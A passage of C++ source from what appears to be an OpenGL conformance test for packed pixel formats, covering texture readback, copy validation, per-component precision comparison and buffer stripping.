outputFormat.components; props.rowLength = (props.rowLength == 0) ? (GRADIENT_WIDTH + props.skipPixels) : props.rowLength; props.elementsInRowNoAlign = props.elementsInGroup * props.rowLength; props.elementsInRow = props.elementsInRowNoAlign; if (glu::isContextTypeES(renderContext.getType())) { props.rowCount = 0; props.skipImages = 0; } else if ((operation == OUTPUT_READPIXELS) || (m_textureTarget == GL_TEXTURE_2D)) props.skipImages = 0; if (props.rowCount == 0) props.rowCount = GRADIENT_HEIGHT + props.skipRows; props.imagesCount = props.skipImages + 1; if (props.elementSize < props.alignment) { props.elementsInRow = (int)(props.alignment * deFloatCeil(props.elementSize * props.elementsInGroup * props.rowLength / ((float)props.alignment))) / props.elementSize; } int bufferSize = props.elementSize * props.elementsInRow * props.rowCount * props.imagesCount * (props.skipImages + 1); // The output buffer allocated should be initialized to a known value. After // a pack operation, any extra memory allocated for skipping should be // verified to be the original known value, untouched by the GL. const GLubyte defaultFillValue = 0xaa; m_outputBuffer.resize(static_cast<std::size_t>(bufferSize)); std::fill(m_outputBuffer.begin(), m_outputBuffer.end(), defaultFillValue); GLuint packPBO; if (m_usePBO) { gl.genBuffers(1, &packPBO); gl.bindBuffer(GL_PIXEL_PACK_BUFFER, packPBO); gl.bufferData(GL_PIXEL_PACK_BUFFER, bufferSize, &m_outputBuffer[0], GL_STATIC_READ); } GLenum readError = GL_NO_ERROR; switch (operation) { case OUTPUT_GETTEXIMAGE: gl.getTexImage(m_textureTarget, 0, outputFormat.format, outputType.type, m_usePBO ? 0 : &m_outputBuffer[0]); break; case OUTPUT_READPIXELS: if (m_inputFormat.attachment != GL_DEPTH_ATTACHMENT && m_inputFormat.attachment != GL_DEPTH_STENCIL_ATTACHMENT && m_inputFormat.attachment != GL_STENCIL_ATTACHMENT) gl.readBuffer(m_inputFormat.attachment); readError = gl.getError(); if (readError == GL_NO_ERROR) gl.readPixels(0, 0, GRADIENT_WIDTH, GRADIENT_HEIGHT, outputFormat.format, outputType.type, m_usePBO ? 0 : &m_outputBuffer[0]); break; } if (readError == GL_NO_ERROR) readError = gl.getError(); if (m_usePBO) { if (readError == GL_NO_ERROR) { GLvoid* mappedData = gl.mapBufferRange(GL_PIXEL_PACK_BUFFER, 0, bufferSize, GL_MAP_READ_BIT); if (!mappedData) return GL_INVALID_INDEX; std::memcpy(&m_outputBuffer[0], mappedData, bufferSize); gl.unmapBuffer(GL_PIXEL_PACK_BUFFER); } gl.bindBuffer(GL_PIXEL_PACK_BUFFER, 0); gl.deleteBuffers(1, &packPBO); } if (m_packProperties.swapBytes && (readError == GL_NO_ERROR)) swapBytes(outputType.size, m_outputBuffer); return readError; } bool RectangleTest::doCopy() { bool result = true; const InternalFormat* copyInternalFormats; int internalFormatsCount; if (glu::isContextTypeES(m_context.getRenderContext().getType())) { copyInternalFormats = esInternalformats; internalFormatsCount = DE_LENGTH_OF_ARRAY(esInternalformats); } else { copyInternalFormats = coreInternalformats; internalFormatsCount = DE_LENGTH_OF_ARRAY(coreInternalformats); } if ((m_inputFormat.format == m_internalFormat.format) && (m_inputType.type == m_internalFormat.type)) { for (int i = 0; i < internalFormatsCount; ++i) { m_copyInternalFormat = copyInternalFormats[i]; result &= doCopyInner(); } } return result; } bool RectangleTest::doCopyInner() { glu::RenderContext& renderContext = m_context.getRenderContext(); const Functions& gl = renderContext.getFunctions(); bool result = true; const EnumFormats* copyFormatEnum = getCanonicalFormat(m_copyInternalFormat, m_copyInternalFormat.format, m_copyInternalFormat.type); if (copyFormatEnum != 0) { GLuint texture2; GLenum status; bool validcopy = isCopyValid(m_copyInternalFormat, m_internalFormat); gl.genTextures(1, &texture2); // Target is always GL_TEXTURE_2D gl.bindTexture(GL_TEXTURE_2D, texture2); GLenum error = gl.getError(); // CopyTexImage to copy_internalformat (GL converts, but PixelStore is ignored) // Target is always GL_TEXTURE_2D gl.copyTexImage2D(GL_TEXTURE_2D, 0, m_copyInternalFormat.sizedFormat, 0, 0, GRADIENT_WIDTH, GRADIENT_HEIGHT, 0); error = gl.getError(); // if this combination of copy_internalformat,internalformat is invalid if (validcopy == false) { // expect error and continue if (error != GL_NO_ERROR) { // Invalid format used and glCopyTexImage2D failed result = true; } else { m_testCtx.getLog() << tcu::TestLog::Message << "Invalid format used but glCopyTexImage2D succeeded" << tcu::TestLog::EndMessage; result = false; } } else // validcopy == true { // expect no error and continue if (error != GL_NO_ERROR) { m_testCtx.getLog() << tcu::TestLog::Message << "Valid format used but glCopyTexImage2D failed" << tcu::TestLog::EndMessage; result = false; } else { if (!glu::isContextTypeES(renderContext.getType())) { // if GetTexImage is supported we call the // inner function only as no loop needed const PixelFormat& outputFormat = getPixelFormat(copyFormatEnum->format); const PixelType& outputType = getPixelType(copyFormatEnum->type); result &= getTexImageInner(outputFormat, outputType); } GLint orginalFboId; gl.getIntegerv(GL_DRAW_FRAMEBUFFER_BINDING, &orginalFboId); GLU_EXPECT_NO_ERROR(gl.getError(), "getIntegerv"); GLuint fboId; gl.genFramebuffers(1, &fboId); gl.bindFramebuffer(GL_FRAMEBUFFER, fboId); bool validImageAttach = isFBOImageAttachValid(m_copyInternalFormat, copyFormatEnum->format, copyFormatEnum->type); // attach copy_internalformat texture to FBO // Target is always GL_TEXTURE_2D const PixelFormat& copyFormat = getPixelFormat(copyFormatEnum->format); gl.framebufferTexture2D(GL_FRAMEBUFFER, copyFormat.attachment, GL_TEXTURE_2D, texture2, 0); GLU_EXPECT_NO_ERROR(gl.getError(), "glFramebufferTexture2D"); status = gl.checkFramebufferStatus(GL_FRAMEBUFFER); GLU_EXPECT_NO_ERROR(gl.getError(), "glCheckFramebufferStatus"); // if an unsized sizedFormat was given, then implementation chosen copy format // destination might be different than what's expected; // we cannot continue checking since ReadPixels might not choose a compatible // format, also the format may not be renderable as expected if (isUnsizedFormat(m_copyInternalFormat.sizedFormat)) { result &= true; } else if (status == GL_FRAMEBUFFER_COMPLETE) { if (validImageAttach) result &= readPixels(true); else { m_testCtx.getLog() << tcu::TestLog::Message << "Copy FBO is complete but expected incomplete with sizedFormat " << getFormatStr(m_copyInternalFormat.sizedFormat) << ", attachement " << copyFormat.attachment << tcu::TestLog::EndMessage; result = false; } } else if (validImageAttach) { m_testCtx.getLog() << tcu::TestLog::Message << "Copy FBO is not complete but expected complete with sizedFormat " << getFormatStr(m_copyInternalFormat.sizedFormat) << ", attachement " << copyFormat.attachment << tcu::TestLog::EndMessage; result = false; } // bind original FBO gl.bindFramebuffer(GL_FRAMEBUFFER, orginalFboId); gl.deleteFramebuffers(1, &fboId); } } gl.deleteTextures(1, &texture2); } return result; } bool RectangleTest::compare(GLvoid* gradient, GLvoid* data, const PixelFormat& outputFormat, const PixelType& outputType, bool isCopy) const { // Compares the reference gradient data to the output data int iformatSampler = m_internalFormat.sampler; int outputSampler = getSampler(outputType, outputFormat); int inputSampler = getSampler(m_inputType, m_inputFormat); if (isCopy) iformatSampler = m_copyInternalFormat.sampler; int samplerIsIntUintFloat = 3; // 1: INT | 2: UINT | 3: FLOAT/UNORM/NORM if (m_internalFormat.sampler == SAMPLER_INT) samplerIsIntUintFloat = 1; else if (m_internalFormat.sampler == SAMPLER_UINT) samplerIsIntUintFloat = 2; std::vector<GLubyte> gradientStrip; if (!stripBuffer(m_unpackProperties, static_cast<const GLubyte*>(gradient), gradientStrip, false)) return false; std::vector<GLubyte> dataStrip; if (!stripBuffer(m_packProperties, static_cast<const GLubyte*>(data), dataStrip, true)) return false; if (gradientStrip.empty() || dataStrip.empty()) return false; std::vector<FloatPixel> inputBuffer; getFloatBuffer(&gradientStrip[0], samplerIsIntUintFloat, m_inputFormat, m_inputType, GRADIENT_WIDTH * GRADIENT_HEIGHT, inputBuffer); std::vector<FloatPixel> outputBuffer; getFloatBuffer(&dataStrip[0], samplerIsIntUintFloat, outputFormat, outputType, GRADIENT_WIDTH * GRADIENT_HEIGHT, outputBuffer); std::vector<int> inputBitTable; getBits(m_inputType, m_inputFormat, inputBitTable); std::vector<int> outputBitTable; getBits(outputType, outputFormat, outputBitTable); const int* internalformatBitTable = reinterpret_cast<const int*>(&m_internalFormat.bits); const int* copyFormatBitTable = m_copyInternalFormat.bits.array; // make struct field iterable float* inputBufferFloat = reinterpret_cast<float*>(&inputBuffer[0]); float* outputBufferFloat = reinterpret_cast<float*>(&outputBuffer[0]); int* inputBufferInt = reinterpret_cast<int*>(&inputBuffer[0]); int* outputBufferInt = reinterpret_cast<int*>(&outputBuffer[0]); unsigned int* inputBufferUint = reinterpret_cast<unsigned int*>(&inputBuffer[0]); unsigned int* outputBufferUint = reinterpret_cast<unsigned int*>(&outputBuffer[0]); for (int i = 0; i < GRADIENT_WIDTH * GRADIENT_HEIGHT; ++i) { for (int j = 0; j < NUM_FLOAT_PIXEL_COUNT / 3; ++j) { int bit1 = getRealBitPrecision(inputBitTable[j], inputSampler == SAMPLER_FLOAT); int bit2 = getRealBitPrecision(outputBitTable[j], outputSampler == SAMPLER_FLOAT); int bit3 = getRealBitPrecision(internalformatBitTable[j], iformatSampler == SAMPLER_FLOAT); int bitdiff; if (bit1 >= bit3) { if ((inputSampler == SAMPLER_UNORM && m_internalFormat.sampler == SAMPLER_NORM)) bit3 -= 1; } if (bit2 <= bit3) { if (outputSampler == SAMPLER_NORM && m_internalFormat.sampler == SAMPLER_UNORM) bit2 -= 1; } if (!(m_internalFormat.flags & FLAG_REQ_RBO) && bit3 > 8 && m_internalFormat.sampler != SAMPLER_UINT && m_internalFormat.sampler != SAMPLER_INT) { // If this internalFormat is not a required format there is no requirement // that the implementation uses exactly the bit width requested. For example, // it may substitute RGB10 for RGB12. The implementation can't make subtitutions // for integer formats. bit3 = 8; } bitdiff = std::min(std::min(bit1, bit2), bit3); if (isCopy) { bitdiff = std::min(bitdiff, copyFormatBitTable[j]); } if (bitdiff > 0) { if (samplerIsIntUintFloat == 1) // 1: INT { int inputValue = inputBufferInt[NUM_FLOAT_PIXEL_COUNT * i + j]; int outputValue = outputBufferInt[NUM_FLOAT_PIXEL_COUNT * i + j]; if (inputSampler == SAMPLER_UINT) // If input data was unsigned, it should be clamped to fit into // internal format positive range (otherwise it may wrap and // yield negative internalformat values) inputValue = clampUnsignedValue(bit3 - 1, inputValue); ; inputValue = clampSignedValue(bit3, inputValue); if (isCopy) { inputValue = clampSignedValue(copyFormatBitTable[j], inputValue); } if (outputSampler == SAMPLER_UINT) inputValue = clampUnsignedValue(bit2, inputValue); else inputValue = clampSignedValue(bit2, inputValue); if (inputValue != outputValue) { m_testCtx.getLog() << tcu::TestLog::Message << "Integer comparison: " << i << ", " << j << ", " << NUM_FLOAT_PIXEL_COUNT * i + j << ": " << inputValue << " == " << outputValue << ": not equal." << tcu::TestLog::EndMessage; return false; } } else if (samplerIsIntUintFloat == 2) // 2: UINT { unsigned int inputValue = inputBufferUint[NUM_FLOAT_PIXEL_COUNT * i + j + 6]; unsigned int outputValue = outputBufferUint[NUM_FLOAT_PIXEL_COUNT * i + j + 6]; inputValue = clampUnsignedValue(bit3, inputValue); if (isCopy) inputValue = clampUnsignedValue(copyFormatBitTable[j], inputValue); if (outputSampler == SAMPLER_UINT) inputValue = clampUnsignedValue(bit2, inputValue); else if (outputSampler == SAMPLER_INT) inputValue = clampUnsignedValue(bit2 - 1, inputValue); if (inputValue != outputValue) { m_testCtx.getLog() << tcu::TestLog::Message << "Integer comparison: " << i << ", " << j << ", " << NUM_FLOAT_PIXEL_COUNT * i + j << ": " << inputValue << " == " << outputValue << ": not equal." << tcu::TestLog::EndMessage; return false; } } else if (samplerIsIntUintFloat == 3) // 3: FLOAT / UNORM / NORM { float inputValue = inputBufferFloat[NUM_FLOAT_PIXEL_COUNT * i + j + 12]; float outputValue = outputBufferFloat[NUM_FLOAT_PIXEL_COUNT * i + j + 12]; float epsilon; if ((outputSampler == SAMPLER_UNORM) || (outputSampler == SAMPLER_NORM)) { // Check if format is UNORM/NORM which needs different // precision since it implies a int->float conversion. epsilon = 1.0f / ((float)((1 << (bitdiff - 1))) - 1); } else if ((inputSampler == SAMPLER_FLOAT) != (outputSampler == SAMPLER_FLOAT)) { // Allow for rounding in either direction for float->int conversions. epsilon = 1.0f / ((float)((1 << (bitdiff - 1))) - 1); } else epsilon = 1.0f / ((float)((1 << bitdiff) - 1)); if (inputSampler == SAMPLER_FLOAT || outputSampler == SAMPLER_FLOAT) { // According to GL spec the precision requirement // of floating-point values is 1 part in 10^5. epsilon = deFloatMax(epsilon, 0.00001f); } if (m_internalFormat.flags & FLAG_COMPRESSED) epsilon = deFloatMax(epsilon, 0.1f); // Clamp input value to range of output if (iformatSampler == SAMPLER_UNORM || outputSampler == SAMPLER_UNORM) inputValue = deFloatMax(deFloatMin(inputValue, 1.0f), 0.0f); else if (iformatSampler == SAMPLER_NORM || outputSampler == SAMPLER_NORM) inputValue = deFloatMax(deFloatMin(inputValue, 1.0f), -1.0f); // Compare the input and output if (deFloatAbs(inputValue - outputValue) > epsilon) { m_testCtx.getLog() << tcu::TestLog::Message << "Non-integer comparison: " << i << ", " << j << ", " << NUM_FLOAT_PIXEL_COUNT * i + j << ", " << epsilon << ": " << inputValue << " == " << outputValue << ": not equal." << tcu::TestLog::EndMessage; return false; } } else { m_testCtx.getLog() << tcu::TestLog::Message << "Sampler type cannot be recognised, so no comparison" << tcu::TestLog::EndMessage; return false; } } } } return true; } void RectangleTest::getFloatBuffer(GLvoid* gradient, int samplerIsIntUintFloat, const PixelFormat& format, const PixelType& type, int elementCount, std::vector<FloatPixel>& result) const { int componentCount = format.components; switch (type.type) { case GL_UNSIGNED_BYTE: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_UNSIGNED_BYTE, result); break; case GL_BYTE: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_BYTE, result); break; case GL_UNSIGNED_SHORT: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_UNSIGNED_SHORT, result); break; case GL_SHORT: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_SHORT, result); break; case GL_UNSIGNED_INT: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_UNSIGNED_INT, result); break; case GL_INT: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_INT, result); break; case GL_HALF_FLOAT: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_HALF_FLOAT, result); break; case GL_FLOAT: makeBuffer(gradient, format, samplerIsIntUintFloat, elementCount, componentCount, pack_FLOAT, result); break; case GL_UNSIGNED_SHORT_5_6_5: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_6_5_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_6_5_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_6_5, result); break; case GL_UNSIGNED_SHORT_4_4_4_4: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_SHORT_4_4_4_4_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_SHORT_4_4_4_4_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_SHORT_4_4_4_4, result); break; case GL_UNSIGNED_SHORT_5_5_5_1: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_5_5_1_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_5_5_1_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_5_5_1, result); break; case GL_UNSIGNED_INT_2_10_10_10_REV: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_INT_2_10_10_10_REV_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_INT_2_10_10_10_REV_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_2_10_10_10_REV, result); break; case GL_UNSIGNED_INT_24_8: makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_24_8, result); break; case GL_UNSIGNED_INT_10F_11F_11F_REV: makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_10F_11F_11F_REV, result); break; case GL_UNSIGNED_INT_5_9_9_9_REV: makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_5_9_9_9_REV, result); break; case GL_FLOAT_32_UNSIGNED_INT_24_8_REV: makeBufferPackedFloat(gradient, format, elementCount, pack_FLOAT_32_UNSIGNED_INT_24_8_REV, result); break; case GL_UNSIGNED_BYTE_3_3_2: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_BYTE_3_3_2_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_BYTE_3_3_2_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_BYTE_3_3_2, result); break; case GL_UNSIGNED_BYTE_2_3_3_REV: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_BYTE_2_3_3_REV_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_BYTE_2_3_3_REV_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_BYTE_2_3_3_REV, result); break; case GL_UNSIGNED_SHORT_5_6_5_REV: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_6_5_REV_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_6_5_REV_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_SHORT_5_6_5_REV, result); break; case GL_UNSIGNED_SHORT_4_4_4_4_REV: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_SHORT_4_4_4_4_REV_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_SHORT_4_4_4_4_REV_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_SHORT_4_4_4_4_REV, result); break; case GL_UNSIGNED_SHORT_1_5_5_5_REV: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_SHORT_1_5_5_5_REV_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_SHORT_1_5_5_5_REV_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_SHORT_1_5_5_5_REV, result); break; case GL_UNSIGNED_INT_8_8_8_8: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_INT_8_8_8_8_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_INT_8_8_8_8_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_8_8_8_8, result); break; case GL_UNSIGNED_INT_8_8_8_8_REV: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_INT_8_8_8_8_REV_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_INT_8_8_8_8_REV_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_8_8_8_8_REV, result); break; case GL_UNSIGNED_INT_10_10_10_2: if (samplerIsIntUintFloat == 1) makeBufferPackedInt(gradient, format, elementCount, pack_UNSIGNED_INT_10_10_10_2_INT, result); else if (samplerIsIntUintFloat == 2) makeBufferPackedUint(gradient, format, elementCount, pack_UNSIGNED_INT_10_10_10_2_UINT, result); else if (samplerIsIntUintFloat == 3) makeBufferPackedFloat(gradient, format, elementCount, pack_UNSIGNED_INT_10_10_10_2, result); break; default: TCU_FAIL("Unsuported type"); } } template <typename Type> void RectangleTest::makeBuffer(const GLvoid* gradient, const PixelFormat& format, int samplerIsIntUintFloat, int elementCount, int componentCount, float (*pack)(Type), std::vector<FloatPixel>& result) const { const Type* sourceData = static_cast<const Type*>(gradient); result.resize(sizeof(FloatPixel) * elementCount); for (int i = 0; i < elementCount; ++i) { rawFloatPixel values; rawIntPixel valuesInt; rawUintPixel valuesUint; for (int j = 0; j < componentCount; j++) { if (samplerIsIntUintFloat == 1) valuesInt[j] = (int)static_cast<Type>(sourceData[componentCount * i + j]); else if (samplerIsIntUintFloat == 2) valuesUint[j] = (unsigned int)static_cast<Type>(sourceData[componentCount * i + j]); else if (samplerIsIntUintFloat == 3) values[j] = pack(sourceData[componentCount * i + j]); } if (samplerIsIntUintFloat == 1) result[i] = orderComponentsInt(valuesInt, format); else if (samplerIsIntUintFloat == 2) result[i] = orderComponentsUint(valuesUint, format); else if (samplerIsIntUintFloat == 3) result[i] = orderComponentsFloat(values, format); } } void RectangleTest::getBits(const PixelType& type, const PixelFormat& format, std::vector<int>& resultTable) const { // return bit depth table based on type and format pair; // table is always NUM_FLOAT_PIXEL_COUNT digit long resultTable.resize(NUM_FLOAT_PIXEL_COUNT); std::fill(resultTable.begin(), resultTable.end(), 0); if (type.special == true) { std::memcpy(&resultTable[0], &type.bits, sizeof(int) * NUM_FLOAT_PIXEL_COUNT); if (type.type == GL_UNSIGNED_INT_5_9_9_9_REV) { //this type is another special case: it is always converted to 3-channel color (no A). //as results of this function are used for comparison of converted values we set A bits to 0. resultTable[3] = 0; } } else { int bits; if (type.type == GL_FLOAT) bits = 32; else if (type.type == GL_HALF_FLOAT) bits = 16; else bits = type.size << 3; if (format.format == GL_DEPTH_STENCIL || format.format == GL_DEPTH_COMPONENT) resultTable[4] = bits; if (format.format == GL_DEPTH_STENCIL || format.format == GL_STENCIL_INDEX || format.format == GL_STENCIL_INDEX8) { resultTable[5] = bits; } if (format.format == GL_RED || format.format == GL_RG || format.format == GL_RGB || format.format == GL_RGBA || format.format == GL_BGR || format.format == GL_BGRA || format.format == GL_RED_INTEGER || format.format == GL_RG_INTEGER || format.format == GL_RGB_INTEGER || format.format == GL_RGBA_INTEGER || format.format == GL_BGR_INTEGER || format.format == GL_BGRA_INTEGER) { resultTable[0] = bits; } if (format.format == GL_RG || format.format == GL_RGB || format.format == GL_RGBA || format.format == GL_BGR || format.format == GL_BGRA || format.format == GL_RG_INTEGER || format.format == GL_RGB_INTEGER || format.format == GL_RGBA_INTEGER || format.format == GL_BGR_INTEGER || format.format == GL_BGRA_INTEGER) { resultTable[1] = bits; } if (format.format == GL_RGB || format.format == GL_RGBA || format.format == GL_BGR || format.format == GL_BGRA || format.format == GL_RGB_INTEGER || format.format == GL_RGBA_INTEGER || format.format == GL_BGR_INTEGER || format.format == GL_BGRA_INTEGER) { resultTable[2] = bits; } if (format.format == GL_RGBA || format.format == GL_BGRA || format.format == GL_RGBA_INTEGER || format.format == GL_BGRA_INTEGER) { resultTable[3] = bits; } } } template <typename Type> void RectangleTest::makeBufferPackedInt(const GLvoid* gradient, const PixelFormat& format, int elementCount, void (*pack)(rawIntPixel*, Type), std::vector<FloatPixel>& result) const { const Type* sourceData = static_cast<const Type*>(gradient); result.resize(sizeof(FloatPixel) * elementCount); for (int i = 0; i < elementCount; ++i) { rawIntPixel values; pack(&values, sourceData[i]); result[i] = orderComponentsInt(values, format); } } template <typename Type> void RectangleTest::makeBufferPackedUint(const GLvoid* gradient, const PixelFormat& format, int elementCount, void (*pack)(rawUintPixel*, Type), std::vector<FloatPixel>& result) const { const Type* sourceData = static_cast<const Type*>(gradient); result.resize(sizeof(FloatPixel) * elementCount); for (int i = 0; i < elementCount; ++i) { rawUintPixel values; pack(&values, sourceData[i]); result[i] = orderComponentsUint(values, format); } } template <typename Type> void RectangleTest::makeBufferPackedFloat(const GLvoid* gradient, const PixelFormat& format, int elementCount, void (*pack)(rawFloatPixel*, Type), std::vector<FloatPixel>& result) const { const Type* sourceData = static_cast<const Type*>(gradient); result.resize(sizeof(FloatPixel) * elementCount); for (int i = 0; i < elementCount; ++i) { rawFloatPixel values; pack(&values, sourceData[i]); result[i] = orderComponentsFloat(values, format); } } FloatPixel RectangleTest::orderComponentsInt(rawIntPixel values, const PixelFormat& format) const { FloatPixel fp = { PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF }; if (format.componentOrder.bits.red >= 0) fp.i_r = values[format.componentOrder.bits.red]; if (format.componentOrder.bits.green >= 0) fp.i_g = values[format.componentOrder.bits.green]; if (format.componentOrder.bits.blue >= 0) fp.i_b = values[format.componentOrder.bits.blue]; if (format.componentOrder.bits.alpha >= 0) fp.i_a = values[format.componentOrder.bits.alpha]; if (format.componentOrder.bits.depth >= 0) fp.i_d = values[format.componentOrder.bits.depth]; if (format.componentOrder.bits.stencil >= 0) fp.i_s = values[format.componentOrder.bits.stencil]; return fp; } FloatPixel RectangleTest::orderComponentsUint(rawUintPixel values, const PixelFormat& format) const { FloatPixel fp = { PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF }; if (format.componentOrder.bits.red >= 0) fp.ui_r = values[format.componentOrder.bits.red]; if (format.componentOrder.bits.green >= 0) fp.ui_g = values[format.componentOrder.bits.green]; if (format.componentOrder.bits.blue >= 0) fp.ui_b = values[format.componentOrder.bits.blue]; if (format.componentOrder.bits.alpha >= 0) fp.ui_a = values[format.componentOrder.bits.alpha]; if (format.componentOrder.bits.depth >= 0) fp.ui_d = values[format.componentOrder.bits.depth]; if (format.componentOrder.bits.stencil >= 0) fp.ui_s = values[format.componentOrder.bits.stencil]; return fp; } FloatPixel RectangleTest::orderComponentsFloat(rawFloatPixel values, const PixelFormat& format) const { FloatPixel fp = { PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTUI, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF, PACK_DEFAULTF }; if (format.componentOrder.bits.red >= 0) fp.r = values[format.componentOrder.bits.red]; if (format.componentOrder.bits.green >= 0) fp.g = values[format.componentOrder.bits.green]; if (format.componentOrder.bits.blue >= 0) fp.b = values[format.componentOrder.bits.blue]; if (format.componentOrder.bits.alpha >= 0) fp.a = values[format.componentOrder.bits.alpha]; if (format.componentOrder.bits.depth >= 0) fp.d = values[format.componentOrder.bits.depth]; if (format.componentOrder.bits.stencil >= 0) fp.s = values[format.componentOrder.bits.stencil]; return fp; } unsigned int RectangleTest::getRealBitPrecision(int bits, bool isFloat) const { if (!isFloat) return bits; switch (bits) { case 32: return 23; case 16: return 10; case 11: return 6; case 10: return 5; } return bits; } bool RectangleTest::stripBuffer(const PackedPixelsBufferProperties& props, const GLubyte* orginalBuffer, std::vector<GLubyte>& newBuffer, bool validate) const { // Extracts pixel data from a buffer with specific // pixel store configuration into a flat buffer int newBufferSize = props.elementSize * props.elementsInRowNoAlign * GRADIENT_HEIGHT; if (!newBufferSize) return false; newBuffer.resize(newBufferSize); int skipBottom = ((props.skipImages * props.rowCount + props.skipRows) * props.elementsInRow) * props.elementSize; int skipTop = (props.rowCount - GRADIENT_HEIGHT - props.skipRows) * props.elementsInRow * props.elementSize; int skipLeft = props.skipPixels * props.elementsInGroup * props.elementSize; int skipRight = (props.elementsInRow - GRADIENT_WIDTH * props.elementsInGroup) * props.elementSize - skipLeft; int copy = GRADIENT_WIDTH * props.elementsInGroup * props.elementSize; int skipAlign = (props.elementsInRow - props.elementsInRowNoAlign) * props.elementSize; if (validate) { for (int i = 0; i < skipBottom; i++) { if (orginalBuffer[i] != m_defaultFillValue) return false; } } int index_src = skipBottom; int index_dst = 0; for (int j = 0; j < GRADIENT_HEIGHT; j++) { if (validate) { for (int i = 0; i < skipLeft; i++) { if (orginalBuffer[index_src + i] != m_defaultFillValue) return false; } } index_src += skipLeft; std::memcpy(&newBuffer[0] + index_dst, &orginalBuffer[0] + index_src, copy); index_src += copy; 